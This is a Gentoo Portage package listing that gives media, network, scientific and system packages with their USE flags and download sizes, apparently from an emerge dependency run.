+media-libs/imlib2	USE="X bzip2 gif jpeg nls png tiff zlib -doc (-mmx) -mp3" 911 kB
+media-libs/jpeg	0 kB
+media-libs/lcms	USE="jpeg python tiff zlib" 895 kB
+media-libs/libao	USE="alsa -doc -mmap -nas -pulseaudio" 397 kB
+media-libs/libart_lgpl	USE="-debug" 296 kB
+media-libs/libcanberra	USE="alsa gstreamer gtk -doc -oss" 518 kB
+media-libs/libdca	USE="-debug -oss" 388 kB
+media-libs/libdv	USE="sdl xv -debug" 571 kB
+media-libs/libdvbpsi	USE="-doc" 269 kB
+media-libs/libdvdcss	USE="-doc" 302 kB
+media-libs/libdvdnav	528 kB
+media-libs/libdvdplay	170 kB
+media-libs/libdvdread	380 kB
+media-libs/libexif	USE="nls -doc" 802 kB
+media-libs/libexif-gtk	USE="nls" 388 kB
+media-libs/libgphoto2	USE="hal nls -bonjour -doc -exif" CAMERAS="-adc65 -agfa_cl20 -aox -barbie -canon -casio_qv -clicksmart310 -digigr8 -digita -dimagev -dimera3500 -directory -enigma13 -fuji -gsmart300 -hp215 -iclick -jamcam -jd11 -jl2005a -kodak_dc120 -kodak_dc210 -kodak_dc240 -kodak_dc3200 -kodak_ez200 -konica -konica_qm150 -largan -lg_gsm -mars -mustek -panasonic_coolshot -panasonic_dc1000 -panasonic_dc1580 -panasonic_l859 -pccam300 -pccam600 -polaroid_pdc320 -polaroid_pdc640 -polaroid_pdc700 -ptp2 -ricoh -ricoh_g3 -samsung -sierra -sipix_blink -sipix_blink2 -sipix_web2 -smal -sonix -sony_dscf1 -sony_dscf55 -soundvision -spca50x -sq905 -stv0674 -stv0680 -sx330z -template -topfield -toshiba_pdrm11" 5,145 kB
+media-libs/libgpod	USE="gtk hal python -test" 937 kB
+media-libs/libid3tag	USE="-debug" 331 kB
+media-libs/libmad	USE="-debug" 491 kB
+media-libs/libmikmod	USE="alsa -esd -oss" 601 kB
+media-libs/libmng	USE="lcms" 0 kB
+media-libs/libmodplug	508 kB
+media-libs/libmp4v2	USE="-utils" 423 kB
+media-libs/libmpeg2	USE="X sdl" 513 kB
+media-libs/libogg	395 kB
+media-libs/libpng	0 kB
+media-libs/libsdl	USE="X alsa audio joystick opengl video xv -aalib -arts -custom-cflags -dga -directfb -esd -fbcon -ggi -libcaca -nas -oss -pulseaudio (-svga) -xinerama" 3,295 kB
+media-libs/libsndfile	USE="alsa -jack -minimal -sqlite" 906 kB
+media-libs/libtheora	USE="encode -doc -examples" 1,615 kB
+media-libs/libvisual	USE="nls -debug -threads" 570 kB
+media-libs/libvorbis	USE="-doc" 1,440 kB
+media-libs/mesa	USE="nptl -debug -motif -pic -xcb" VIDEO_CARDS="intel mach64 mga r128 radeon s3virge savage tdfx trident via -none -sis* (-sunffb)" 3,323 kB
+media-libs/musicbrainz	512 kB
+media-libs/mutagen	USE="-test" 577 kB
+media-libs/netpbm	USE="X jpeg png tiff xml zlib -jbig -jpeg2k -rle (-svga)" 2,085 kB
+media-libs/openal	USE="alsa portaudio* -debug -oss -pulseaudio" 87 kB
+media-libs/openexr	USE="-doc -examples" 13,314 kB
+media-libs/openjpeg	USE="-tools" 982 kB
+media-libs/pdflib	USE="cxx perl python -doc -java -tcl" 5,653 kB
+media-libs/plib	776 kB
+media-libs/portaudio	USE="alsa cxx -debug -jack -oss" 1,088 kB
+media-libs/raptor	USE="unicode xml -curl" 1,619 kB
+media-libs/schroedinger	USE="gstreamer" 809 kB
+media-libs/sdl-gfx	USE="(-mmx)" 1,195 kB
+media-libs/sdl-image	USE="gif jpeg png tiff" 1,285 kB
+media-libs/sdl-mixer	USE="mikmod vorbis -mp3 -timidity" 2,048 kB
+media-libs/sdl-net	366 kB
+media-libs/sdl-ttf	USE="X" 3,071 kB
+media-libs/speex	USE="ogg sse" 1,024 kB
+media-libs/swfdec	USE="alsa gstreamer gtk -doc -ffmpeg -pulseaudio" 9,726 kB
+media-libs/taglib	USE="-debug -test" 1,362 kB
+media-libs/taglib-extras	USE="kde (-aqua) -debug" 49 kB
+media-libs/tiff	USE="jpeg zlib -jbig -nocxx" 1,328 kB
+media-libs/xine-lib	USE="X aac alsa dts dvd flac gnome gtk ipv6 mad mng* modplug nls opengl sdl theora truetype v4l vorbis xcb xv -a52 -aalib (-altivec) -arts -directfb -dxr3 -esd -fbcon -imagemagick -jack -libcaca -mmap -musepack -oss -pulseaudio (-real) -samba -speex -vcd (-vidix) (-vis) -wavpack (-win32codecs) -xinerama -xvmc" 7,294 kB
+media-plugins/audacious-plugins	USE="alsa flac gnome ipv6 nls sdl sse2 vorbis -adplug -bs2b -cdda -esd -icecast -jack -lirc -mp3 -mtp -musepack -oss -projectm -pulseaudio -scrobbler -sid -sndfile -timidity -tta -wavpack -wma" 3,526 kB
+media-plugins/gst-plugins-alsa	0 kB
+media-plugins/gst-plugins-cdparanoia	0 kB
+media-plugins/gst-plugins-esd	0 kB
+media-plugins/gst-plugins-ffmpeg	8,016 kB
+media-plugins/gst-plugins-flac	0 kB
+media-plugins/gst-plugins-gconf	0 kB
+media-plugins/gst-plugins-gio	0 kB
+media-plugins/gst-plugins-gnomevfs	0 kB
+media-plugins/gst-plugins-jpeg	0 kB
+media-plugins/gst-plugins-libpng	0 kB
+media-plugins/gst-plugins-libvisual	0 kB
+media-plugins/gst-plugins-meta	USE="X alsa flac ogg vorbis xv -a52 -dvb -dvd -esd -ffmpeg -mad -mpeg -mythtv -oss -theora" 0 kB
+media-plugins/gst-plugins-ogg	0 kB
+media-plugins/gst-plugins-pango	0 kB
+media-plugins/gst-plugins-soup	0 kB
+media-plugins/gst-plugins-speex	0 kB
+media-plugins/gst-plugins-theora	0 kB
+media-plugins/gst-plugins-v4l	0 kB
+media-plugins/gst-plugins-v4l2	0 kB
+media-plugins/gst-plugins-vorbis	0 kB
+media-plugins/gst-plugins-x	0 kB
+media-plugins/gst-plugins-xvideo	0 kB
+media-plugins/libvisual-plugins	USE="alsa gtk opengl -debug -esd -jack -mplayer" 0 kB
+media-plugins/live	459 kB
+media-sound/alsa-headers	2,833 kB
+media-sound/alsa-utils	USE="nls -doc -minimal" 1,021 kB
+media-sound/amarok	USE="opengl semantic-desktop (-aqua) -cdda -daap -debug -ipod -mp3tunes -mtp" LINGUAS="ca* eu* gl* ku* -bg -cs -da -de -el -en_GB -es -et -fr -he -is -it -ja -km -lt -lv -nb -nds -nl -nn -pa -pl -pt -pt_BR -ro -ru -sl -sv -th -tr -uk -wa -zh_CN -zh_TW" 0 kB
+media-sound/amarok-utils	USE="-debug" 5,031 kB
+media-sound/audacious	USE="nls session sse2 (-altivec) -chardet -libsamplerate" 1,860 kB
+media-sound/aumix	USE="gpm gtk nls" 154 kB
+media-sound/cdparanoia	185 kB
+media-sound/easytag	USE="flac vorbis -mp3 -mp4 -speex -wavpack" 3,227 kB
+media-sound/esound	USE="alsa ipv6 tcpd -debug -doc -oss -static-libs" 388 kB
+media-sound/gnomeradio	USE="-lirc" 732 kB
+media-sound/grip	USE="nls vorbis" 794 kB
+media-sound/hydrogen	USE="alsa flac -debug -doc -jack -ladspa -oss" 2,707 kB
+media-sound/lame	USE="-debug (-mmx) -mp3rtp -sndfile" 1,297 kB
+media-sound/phonon	USE="xcb xine -debug -gstreamer" 570 kB
+media-sound/qmmp	USE="aac alsa dbus flac mad vorbis -bs2b -ffmpeg -jack -libsamplerate -modplug -musepack -oss -projectm -pulseaudio -scrobbler -sndfile -wavpack" 476 kB
+media-sound/rhythmbox	USE="X cdr dbus hal libnotify python -daap -debug -doc -gnome-keyring -ipod -lirc -mtp -musicbrainz -nsplugin -taglib -test" 4,574 kB
+media-sound/sound-juicer	USE="-debug -test" 1,792 kB
+media-sound/twolame	472 kB
+media-sound/vorbis-tools	USE="flac nls ogg123 -speex" 1,052 kB
+media-video/dirac	USE="mmx -debug -doc" 897 kB
+media-video/dvdauthor	312 kB
+media-video/ffmpeg	USE="3dnow 3dnowext X alsa bindist encode hardcoded-tables ipv6 mmx mmxext sdl ssse3 vorbis zlib (-altivec) -cpudetection -custom-cflags -debug -dirac -doc -faac -faad -gsm -ieee1394 -jack -jpeg2k -mp3 -network -opencore-amr -oss -schroedinger -speex -test -theora -threads -v4l -v4l2 -vdpau -x264 -xvid" VIDEO_CARDS="-nvidia" 3,001 kB
+media-video/ffmpegthumbnailer	USE="jpeg png" 323 kB
+media-video/gnome-mplayer	USE="alsa gnome libnotify -ipod -musicbrainz" 673 kB
+media-video/gxine	USE="hal nls -lirc -nsplugin -xcb -xinerama" 1,086 kB
+media-video/lsdvd	99 kB
+media-video/mplayer	USE="X aac alsa ass bindist cddb cdio dirac dts dv dvd enca encode faad gif iconv ipv6 jpeg live mad mmx mng* mp2 network opengl osdmenu png quicktime rar rtc schroedinger sdl shm speex sse sse2 theora tremor truetype unicode vorbis xscreensaver xv -3dnow -3dnowext -a52 -aalib (-altivec) -bidi -bl -cdparanoia -cpudetection -custom-cpuopts -debug -dga -directfb -doc -dvb -dvdnav -dxr3 -esd -faac -fbcon -ftp -ggi -gmplayer -jack -joystick -ladspa -libcaca -lirc -lzo -md5sum -mmxext -mp3 -nas -nut -openal -opencore-amr -oss -pnm -pulseaudio -pvr -radio -real -samba -ssse3 (-svga) -teletext -tga -v4l -v4l2 -vdpau (-vidix) (-win32codecs) -x264 -xanim -xinerama -xvid -xvmc -zoran" VIDEO_CARDS="mga s3virge tdfx -nvidia" 14,779 kB
+media-video/ogle	USE="alsa mmx xv (-altivec) -oss" 478 kB
+media-video/ogle-gui	USE="nls" 388 kB
+media-video/rovclock	29 kB
+media-video/smplayer	USE="-debug" LINGUAS="ca* eu* gl* ku* -ar -bg -cs -de -el -en_US -es -fi -fr -hu -it -ja -ka -ko -mk -nl -pl -pt_BR -pt_PT -ro -ru -sk -sl -sr -sv -tr -uk -zh_CN -zh_TW" 1,342 kB
+media-video/totem	USE="bluetooth gnome python -debug -galago -lirc -nautilus -nsplugin -nvtv -tracker" 2,543 kB
+media-video/vlc	USE="X aac alsa dbus dts dvd ffmpeg flac gcrypt gnome hal libnotify mmx mpeg ncurses ogg opengl png qt4 sdl sse svg truetype vorbis xml xv -a52 -aalib (-altivec) -arts -atmo -avahi -bidi -cdda -cddax -cddb -cdio -dc1394 -debug -dirac -directfb -dvb -esd -fbcon -fluidsynth -fontconfig -ggi -gnutls -httpd -id3tag -jack -kate -libass -libcaca -libsysfs -libv4l2 -lirc -live -lua -matroska -modplug -mp3 -musepack -nsplugin -optimisememory -oss -pda -pulseaudio -pvr -remoteosd -rtsp -run-as-root -samba -schroedinger -sdl-image -seamonkey -shout -skins -speex -stream (-svga) -taglib -theora -twolame -upnp -v4l -v4l2 -vcdinfo -vcdx -vlm (-win32codecs) -x264 -xinerama -xosd -zvbi" 17,123 kB
+media-video/xine-ui	USE="X nls readline -aalib -curl -debug -libcaca -lirc -vdr -xinerama" 2,546 kB
+net-analyzer/arping	34 kB
+net-analyzer/dnstracer	USE="ipv6" 128 kB
+net-analyzer/ettercap	USE="gtk ncurses ssl -debug" 1,112 kB
+net-analyzer/gnome-netstatus	USE="-debug" 513 kB
+net-analyzer/gnome-nettool	USE="-debug" 587 kB
+net-analyzer/httping	USE="ssl" 13 kB
+net-analyzer/ifstat	USE="-snmp" 67 kB
+net-analyzer/iftop	157 kB
+net-analyzer/iptraf	USE="ipv6 unicode -suid" 572 kB
+net-analyzer/macchanger	315 kB
+net-analyzer/netcat	USE="crypt ipv6 -static" 108 kB
+net-analyzer/netselect	22 kB
+net-analyzer/ngrep	USE="ipv6 pcre" 453 kB
+net-analyzer/nmap	USE="gtk ssl -lua" 5,920 kB
+net-analyzer/snort	USE="ipv6 -aruba -debug -decoder-preprocessor-rules -dynamicplugin -flexresp -flexresp2 -gre -inline -inline-init-failopen -linux-smp-stats -memory-cleanup -mpls -mysql -odbc -perfprofiling -postgres -ppm -prelude -react (-selinux) -static -targetbased -threads -timestats" 4,461 kB
+net-analyzer/tcpdump	USE="ipv6 ssl -chroot -samba" 917 kB
+net-analyzer/tcptraceroute	117 kB
+net-analyzer/traceroute	USE="-static" 59 kB
+net-analyzer/vnstat	37 kB
+net-analyzer/wireshark	USE="caps gtk ipv6 pcap pcre portaudio* zlib -adns -ares -gcrypt -geoip -gnutls -kerberos -lua -profile (-selinux) -smi -threads" 18,786 kB
+net-dialup/globespan-adsl	USE="-tk" 316 kB
+net-dialup/linux-atm	696 kB
+net-dialup/lrzsz	USE="nls" 275 kB
+net-dialup/mingetty	USE="unicode" 14 kB
+net-dialup/minicom	USE="nls" LINGUAS="-cs -da -de -es -fi -fr -hu -ja -nb -pl -pt_BR -ro -ru -rw -sv -vi -zh_TW" 771 kB
+net-dialup/ppp	USE="atm gtk ipv6 pam -activefilter -dhcp -eap-tls -mppe-mppc -radius" 725 kB
+net-dialup/pppconfig	USE="nls" LINGUAS="ca* eu* gl* id* -cs -da -de -el -es -fi -fr -he -it -ja -ko -lt -nb -nl -nn -pt -pt_BR -ro -ru -sk -sv -tl -tr -vi -zh_CN -zh_TW" 369 kB
+net-dialup/pptpclient	USE="-tk" 87 kB
+net-dialup/rp-pppoe	USE="X" 880 kB
+net-dns/bind-tools	USE="ipv6 -idn" 6,392 kB
+net-dns/dnsmasq	USE="dbus dhcp ipv6 nls -tftp" 289 kB
+net-dns/libidn	USE="nls -doc -emacs -java -mono" 2,574 kB
+net-firewall/iptables	423 kB
+net-fs/mount-cifs	24 kB
+net-fs/nfs-utils	USE="tcpd -kerberos -nonfsv4" 575 kB
+net-fs/samba	USE="acl cups fam ipv6 ldap pam python readline -ads -async -automount -caps -debug -doc -examples -oav -quotas (-selinux) -swat -syslog -winbind" 48,236 kB
+net-ftp/ftp	USE="ipv6 ssl" 53 kB
+net-ftp/gftp	USE="gtk ssl" 1,648 kB
+net-ftp/ncftp	USE="ipv6" 453 kB
+net-im/kmess	USE="gif (-aqua) -debug -konqueror -xscreensaver" LINGUAS="ca* -ar -da -de -el -es -et -fi -fr -hu -it -ko -nb -nl -pt_BR -sk -sl -sv -th -tr -zh_CN -zh_TW" 3,162 kB
+net-im/licq	USE="crypt kde ncurses nls qt4 socks5 ssl -debug -msn -qt3 -xosd" 4,666 kB
+net-im/pidgin	USE="dbus eds gstreamer gtk ncurses nls perl spell -bonjour -debug -doc -gadu -gnutls -groupwise -meanwhile -networkmanager -prediction -qq -sasl -silc -tcl -tk -zephyr" 8,208 kB
+net-im/qtwitter	USE="-debug" LINGUAS="ca* -de -es -fr -ja -pl -pt_BR" 638 kB
+net-im/ysm	255 kB
+net-irc/irssi	USE="ipv6 perl socks5 ssl" 925 kB
+net-irc/konversation	USE="crypt (-aqua) -debug" LINGUAS="ca* gl* -ar -bg -cs -da -de -el -en_GB -es -et -fr -hu -it -ja -nds -nl -pa -pt -pt_BR -ru -sv -tr -uk -zh_CN -zh_TW" 2,780 kB
+net-irc/ninja	USE="ipv6 ncurses ssl" 900 kB
+net-irc/quassel	USE="X dbus kde oxygen server ssl -debug -monolithic -phonon -postgres -webkit" LINGUAS="-cs -da -de -fr -hu -it -nb_NO -ru -sl -tr" 3,118 kB
+net-irc/rhapsody	108 kB
+net-irc/xchat	USE="dbus ipv6 libnotify nls perl python spell ssl -debug (-mmx) -tcl -xchatdccserver -xchatnogtk -xft" 1,391 kB
+net-irc/xchat-xsys	USE="-audacious" 17 kB
+net-libs/enet	123 kB
+net-libs/gnutls	USE="bindist cxx nls zlib -doc -examples -guile -lzo" 6,054 kB
+net-libs/gtk-vnc	USE="python -examples" 597 kB
+net-libs/liblockfile	32 kB
+net-libs/libnet	USE="-doc" 998 kB
+net-libs/libnfsidmap	USE="ldap" 336 kB
+net-libs/libpcap	USE="bluetooth ipv6" 512 kB
+net-libs/librsync	444 kB
+net-libs/libsoup	USE="ssl -debug -doc" 646 kB
+net-libs/libvncserver	USE="jpeg zlib -no24bpp -nobackchannel" 1,036 kB
+net-libs/opal	USE="-debug -noaudio -novideo" 4,068 kB
+net-libs/openslp	866 kB
+net-libs/xulrunner	USE="alsa dbus gnome python startup-notification -custom-optimization -debug -java" 0 kB
+net-libs/xulrunner	USE="gnome ipv6 -debug -java -xinerama" 0 kB
+net-mail/mailbase	USE="pam" 0 kB
+net-misc/br2684ctl	13 kB
+net-misc/bridge-utils	32 kB
+net-misc/curl	USE="ipv6 ldap ssl -ares -gnutls -idn -kerberos -libssh2 -nss -test" 2,293 kB
+net-misc/dhcdbd	USE="-debug" 56 kB
+net-misc/dhcp	USE="-doc -minimal (-selinux) -static" 774 kB
+net-misc/dhcpcd	USE="compat zeroconf" 52 kB
+net-misc/iputils	USE="ipv6 -doc -static" 99 kB
+net-misc/neon	USE="nls socks5 ssl zlib -doc -expat -gnutls -kerberos -pkcs11" LINGUAS="-cs -de -fr -ja -nn -pl -ru -tr -zh_CN" 771 kB
+net-misc/netkit-fingerd	USE="-xinetd" 25 kB
+net-misc/netkit-rsh	USE="pam" 89 kB
+net-misc/networkmanager	USE="crypt gnome -debug -doc" 962 kB
+net-misc/ntp	USE="ipv6 ssl -caps -debug -openntpd -parse-clocks (-selinux) -vim-syntax -zeroconf" 3,352 kB
+net-misc/openssh	USE="X* ldap* pam tcpd -X509 -hpn -kerberos -libedit -pkcs11 (-selinux) -skey -smartcard -static" 1,078 kB
+net-misc/openswan	USE="ldap -curl -extra-algorithms -smartcard -weak-algorithms" 3,846 kB
+net-misc/openvpn	USE="pam ssl -examples -iproute2 -minimal -passwordsave -pkcs11 (-selinux) -static -threads" 814 kB
+net-misc/putty	USE="gtk ipv6 -doc" 1,703 kB
+net-misc/rdate	USE="ipv6" 12 kB
+net-misc/rdesktop	USE="ipv6 -ao -debug -oss" 279 kB
+net-misc/rsync	USE="acl iconv ipv6 -static -xattr -xinetd" 761 kB
+net-misc/telnet-bsd	USE="nls -xinetd" 190 kB
+net-misc/tightvnc	USE="tcpd -java -server" 1,739 kB
+net-misc/vconfig	USE="-static" 173 kB
+net-misc/vinagre	USE="-avahi -debug -test" 1,417 kB
+net-misc/vino	USE="crypt ipv6 jpeg libnotify zlib -avahi -debug -gnome-keyring -gnutls" 659 kB
+net-misc/vpnc	USE="bindist -hybrid-auth -resolvconf" 97 kB
+net-misc/wget	USE="ipv6 nls ssl -debug -static" 933 kB
+net-misc/whois	USE="nls" 69 kB
+net-misc/wicd	USE="libnotify ncurses pm-utils -ioctl" 464 kB
+net-nds/openldap	USE="berkdb crypt gdbm ipv6 minimal perl ssl tcpd -debug -kerberos -odbc -overlays -samba -sasl (-selinux) -slp -smbkrb5passwd" 3,714 kB
+net-nds/portmap	USE="tcpd (-selinux)" 22 kB
+net-nntp/pan	USE="spell" 1,419 kB
+net-p2p/bittorrent	USE="gtk" 2,440 kB
+net-p2p/frostwire	USE="-source" 10,781 kB
+net-p2p/linuxdcpp	USE="-debug" 284 kB
+net-p2p/transmission	USE="gtk libnotify qt4" 4,698 kB
+net-print/cups	USE="X acl dbus jpeg ldap pam perl png ppds python ssl tiff -avahi -gnutls -java -kerberos -php -samba -slp -static -xinetd -zeroconf" LINGUAS="en* id* -de -es -et -fr -he -it -ja -pl -sv -zh_TW" 3,691 kB
+net-print/foomatic-db-ppds	12,056 kB
+net-print/gnome-cups-manager	USE="-debug" 602 kB
+net-print/libgnomecups	USE="-debug" 349 kB
+net-proxy/dante	USE="pam tcpd -debug (-selinux)" 875 kB
+net-proxy/ntlmaps	55 kB
+net-proxy/tsocks	USE="-tordns" 82 kB
+net-voip/ekiga	USE="dbus gnome sdl -avahi -debug -doc" 5,967 kB
+net-wireless/aircrack-ng	USE="sqlite" 1,501 kB
+net-wireless/atmel-firmware	USE="usb -pcmcia" 460 kB
+net-wireless/b43-fwcutter	13 kB
+net-wireless/bcm43xx-fwcutter	27 kB
+net-wireless/bluez-libs	USE="-debug" 307 kB
+net-wireless/bluez-utils	USE="alsa cups gstreamer usb -debug -examples -old-daemons -test-programs" 932 kB
+net-wireless/gnome-bluetooth	USE="-debug" 547 kB
+net-wireless/hostap-utils	60 kB
+net-wireless/ipw2100-firmware	243 kB
+net-wireless/ipw2200-firmware	264 kB
+net-wireless/ipw3945-ucode	63 kB
+net-wireless/ipw3945d	59 kB
+net-wireless/iw	24 kB
+net-wireless/iwl3945-ucode	66 kB
+net-wireless/iwl4965-ucode	80 kB
+net-wireless/kismet	USE="dbus ncurses" 641 kB
+net-wireless/libbtctl	USE="-debug -doc" 321 kB
+net-wireless/madwifi-ng-tools	3,404 kB
+net-wireless/wepattack	USE="-john" 25 kB
+net-wireless/wireless-tools	USE="nls -multicall" 288 kB
+net-wireless/wpa_supplicant	USE="dbus madwifi qt4 readline ssl -debug -eap-sim -gnutls -ps3 -qt3 -wps" 1,151 kB
+net-wireless/zd1201-firmware	85 kB
+net-wireless/zd1211-firmware	39 kB
+net-zope/zopeinterface	114 kB
+perl-core/Archive-Tar	48 kB
+perl-core/Compress-Raw-Bzip2	USE="-test" 142 kB
+perl-core/Compress-Raw-Zlib	USE="-test" 208 kB
+perl-core/digest-base	8 kB
+perl-core/ExtUtils-CBuilder	28 kB
+perl-core/ExtUtils-ParseXS	25 kB
+perl-core/IO-Compress	200 kB
+perl-core/IO-Zlib	10 kB
+perl-core/libnet	USE="-sasl" 67 kB
+perl-core/Module-Build	192 kB
+perl-core/Package-Constants	3 kB
+perl-core/PodParser	96 kB
+perl-core/Scalar-List-Utils	43 kB
+perl-core/Storable	170 kB
+perl-core/Sys-Syslog	75 kB
+perl-core/Test-Harness	70 kB
+perl-core/Test-Simple	76 kB
+rox-base/mime-editor	32 kB
+rox-base/rox	USE="svg video" 1,851 kB
+rox-base/rox-lib	137 kB
+rox-base/thumbs	23 kB
+rox-base/zeroinstall-injector	147 kB
+rox-extra/videothumbnail	24 kB
+sci-libs/cln	USE="-doc -examples" 1,702 kB
+sci-libs/gsl	USE="-cblas" 2,857 kB
+sci-libs/libqalculate	USE="readline" 1,086 kB
+sci-mathematics/gmm	447 kB
+sci-visualization/gnuplot	USE="X pdf readline -doc -emacs -gd -ggi -latex -lua -plotutils (-svga) -wxwidgets -xemacs" 2,832 kB
+sys-apps/acl	USE="nls (-nfs)" 152 kB
+sys-apps/attr	USE="nls" 115 kB
+sys-apps/baselayout	USE="unicode -bootstrap -build -static" 218 kB
+sys-apps/busybox	USE="pam -debug -make-symlinks -savedconfig (-selinux) -static" 1,999 kB
+sys-apps/cciss_vol_status	85 kB
+sys-apps/chpax	6 kB
+sys-apps/coreutils	USE="acl nls -caps -gmp (-selinux) -static -vanilla -xattr" 9,489 kB
+sys-apps/dbus	USE="X -debug -doc (-selinux)" 1,528 kB
+sys-apps/debianutils	USE="-static" 130 kB
+sys-apps/diffutils	USE="nls -static" 1,038 kB
+sys-apps/dmapi	80 kB
+sys-apps/dmidecode	51 kB
+sys-apps/ed	67 kB
+sys-apps/eject	USE="nls" 121 kB
+sys-apps/ethtool	127 kB
+sys-apps/fbset	USE="-static" 28 kB
+sys-apps/file	[4.23
+sys-apps/findutils	USE="nls (-selinux) -static" 1,983 kB
+sys-apps/flashrom	58 kB
+sys-apps/fxload	23 kB
+sys-apps/gawk	USE="nls" 1,818 kB
+sys-apps/gradm	USE="pam" 63 kB
+sys-apps/grep	USE="nls pcre" 707 kB
+sys-apps/groff	USE="X -examples" LINGUAS="-ja" 3,511 kB
+sys-apps/hal	USE="X acpi crypt -apm -debug -dell -disk-partition -doc -laptop (-selinux)" 1,260 kB
+sys-apps/hdparm	90 kB
+sys-apps/help2man	USE="nls" 84 kB
+sys-apps/hwdata-gentoo	USE="opengl -binary-drivers" 146 kB
+sys-apps/hwsetup	USE="zlib" 11 kB
+sys-apps/ipmitool	USE="-openipmi" 752 kB
+sys-apps/iproute2	USE="atm* berkdb -minimal" 357 kB
+sys-apps/ivman	USE="-debug" 311 kB
+sys-apps/kbd	USE="nls" 652 kB
+sys-apps/less	429 KB
+sys-apps/lm_sensors	USE="-sensord" 913 kB
+sys-apps/lshw	USE="gtk -static" 1,294 kB
+sys-apps/man	USE="nls -lzma" 249 kB
+sys-apps/man-pages	USE="nls" LINGUAS="-cs -da -de -es -fr -it -ja -nl -pl -ro -ru -zh_CN" 1,068 kB
+sys-apps/man-pages-posix	949 kB
+sys-apps/memtester	17 kB
+sys-apps/miscfiles	USE="-minimal" 1,490 kB
+sys-apps/module-init-tools	USE="-old-linux" 208 kB
+sys-apps/net-tools	USE="nls -static" 180 kB
+sys-apps/netplug	22 kB
+sys-apps/parted	USE="nls readline -debug -device-mapper (-selinux)" 1,518 kB
+sys-apps/paxctl	8 kB
+sys-apps/pciutils	USE="zlib -network-cron" 265 kB
+sys-apps/pcmciautils	USE="-debug -static -staticsocket" 42 kB
+sys-apps/pcsc-lite	USE="hal usb -static" 456 kB
+sys-apps/pmount	USE="crypt hal" 425 kB
+sys-apps/pv	USE="nls -debug" 90 kB
+sys-apps/readahead-list	USE="-doc" 106 kB
+sys-apps/ren	9 kB
+sys-apps/rename	82 kB
+sys-apps/rescan-scsi-bus	16 kB
+sys-apps/sandbox	300 kB
+sys-apps/sdparm	281 kB
+sys-apps/sed	USE="acl nls -static" 862 kB
+sys-apps/setserial	52 kB
+sys-apps/sg3_utils	840 kB
+sys-apps/shadow	USE="cracklib nls pam -audit (-selinux) -skey" 1,658 kB
+sys-apps/slocate	37 kB
+sys-apps/smartmontools	USE="-minimal -static" 603 kB
+sys-apps/sysvinit	USE="(-ibm) (-selinux) -static" 101 kB
+sys-apps/tcp-wrappers	USE="ipv6" 113 kB
+sys-apps/texinfo	USE="nls -static" 1,528 kB
+sys-apps/usbutils	USE="zlib -network-cron" 170 kB
+sys-apps/util-linux	USE="crypt loop-aes* nls unicode -old-linux (-selinux) -slang (-uclibc)" 2,939 kB
+sys-apps/which	[2.19
+sys-apps/xinetd	USE="perl tcpd" 295 kB
+sys-auth/consolekit	USE="pam -debug -doc -policykit" 385 kB
+sys-auth/pambase	USE="consolekit* cracklib sha512 -debug -gnome-keyring -mktemp -passwdqc (-selinux) -ssh" 3 kB
+sys-block/aoetools	28 kB
+sys-block/disktype	43 kB
+sys-block/gparted	USE="dmraid fat gnome hfs jfs kde ntfs reiserfs xfce xfs -debug -reiser4" 1,093 kB
+sys-block/iscsitarget	106 kB
+sys-block/mbuffer	USE="ssl -debug" 79 kB
+sys-block/mpt-status	68 kB
+sys-block/ms-sys	35 kB
+sys-block/mtx	164 kB
+sys-block/nbd	183 kB
+sys-block/partimage	USE="nls pam ssl -nologin -static" 614 kB
+sys-block/partitionmanager	USE="(-aqua) -debug" LINGUAS="ca* gl* -bg -da -de -el -en_GB -es -et -fr -ja -lt -nb -nds -nl -nn -pa -pl -pt -pt_BR -ro -ru -sv -tr -uk -zh_CN -zh_TW" 309 kB
+sys-block/qla-fc-firmware	889 kB
+sys-block/tw_cli	957 kB
+sys-boot/grub	USE="ncurses -custom-cflags -netboot -static" 1,033 kB
+sys-boot/lilo	USE="-device-mapper -minimal -pxeserial -static" 431 kB
+sys-boot/syslinux	3,212 kB
+sys-devel/autoconf	USE="-emacs" 1,527 kB
+sys-devel/autoconf	434 kB
+sys-devel/autoconf-wrapper	0 kB
+sys-devel/autogen	1,302 kB
+sys-devel/automake	648 kB
+sys-devel/automake	565 kB
+sys-devel/automake	915 kB
+sys-devel/automake	748 kB
+sys-devel/automake-wrapper	0 kB
+sys-devel/bc	USE="readline -libedit -static" 284 kB
+sys-devel/bin86	149 kB
+sys-devel/binutils	USE="nls -gold -multislot -multitarget -test -vanilla" 0 kB
+sys-devel/binutils-config	0 kB
+sys-devel/bison	USE="nls -static" 1,055 kB
+sys-devel/distcc	USE="gnome gtk ipv6 -avahi -hardened (-selinux) -xinetd" 576 kB
+sys-devel/flex	USE="nls -static" 1,228 kB
+sys-devel/gcc	USE="fortran mudflap (multilib) nls nptl openmp (-altivec) -bootstrap -build -doc (-fixed-point) -gcj -gtk (-hardened) -ip28 -ip32r10k -libffi -multislot (-n32) (-n64) -nocxx -nopie -objc -objc++ -objc-gc -test -vanilla" 57,645 kB
+sys-devel/gcc-config	0 kB
+sys-devel/gdb	USE="nls -multitarget -test -vanilla" 15,337 kB
+sys-devel/gettext	USE="acl nls openmp -doc -emacs -nocxx" 11,369 kB
+sys-devel/gnuconfig	41 kB
+sys-devel/libperl	USE="berkdb gdbm -debug -ithreads" 0 kB
+sys-devel/libtool	USE="-test -vanilla" 717 kB
+sys-devel/m4	USE="-examples" 751 kB
+sys-devel/make	USE="nls -static" 1,125 kB
+sys-devel/patch	USE="-static" 198 kB
+sys-fs/btrfs-progs	USE="acl -debug-utils" 116 kB
+sys-fs/cryptsetup	USE="nls -dynamic (-selinux)" 397 kB
+sys-fs/dd-rescue	USE="-static" 17 kB
+sys-fs/ddrescue	50 kB
+sys-fs/device-mapper	USE="(-selinux)" 189 kB
+sys-fs/dmraid	USE="(-selinux) -static" 161 kB
+sys-fs/dosfstools	62 kB
+sys-fs/e2fsprogs	USE="nls" 4,263 kB
+sys-fs/evms	USE="gtk ncurses nls -debug -hb -hb2" 2,241 kB
+sys-fs/fuse	495 kB
+sys-fs/hfsutils	USE="-tcl -tk" 203 kB
+sys-fs/jfsutils	USE="-static" 516 kB
+sys-fs/lsscsi	126 kB
+sys-fs/lvm2	USE="lvm1 readline static (-clvm) (-cman) (-selinux)" 556 kB
+sys-fs/mac-fdisk	74 kB
+sys-fs/mdadm	USE="-static" 153 kB
+sys-fs/mtools	USE="X" 379 kB
+sys-fs/multipath-tools	157 kB
+sys-fs/ntfs3g	USE="hal -debug -suid" 638 kB
+sys-fs/ntfsprogs	USE="crypt gnome -debug -fuse -minimal" 883 kB
+sys-fs/quota	USE="ldap nls tcpd -rpc" 429 kB
+sys-fs/reiserfsprogs	398 kB
+sys-fs/sshfs-fuse	113 kB
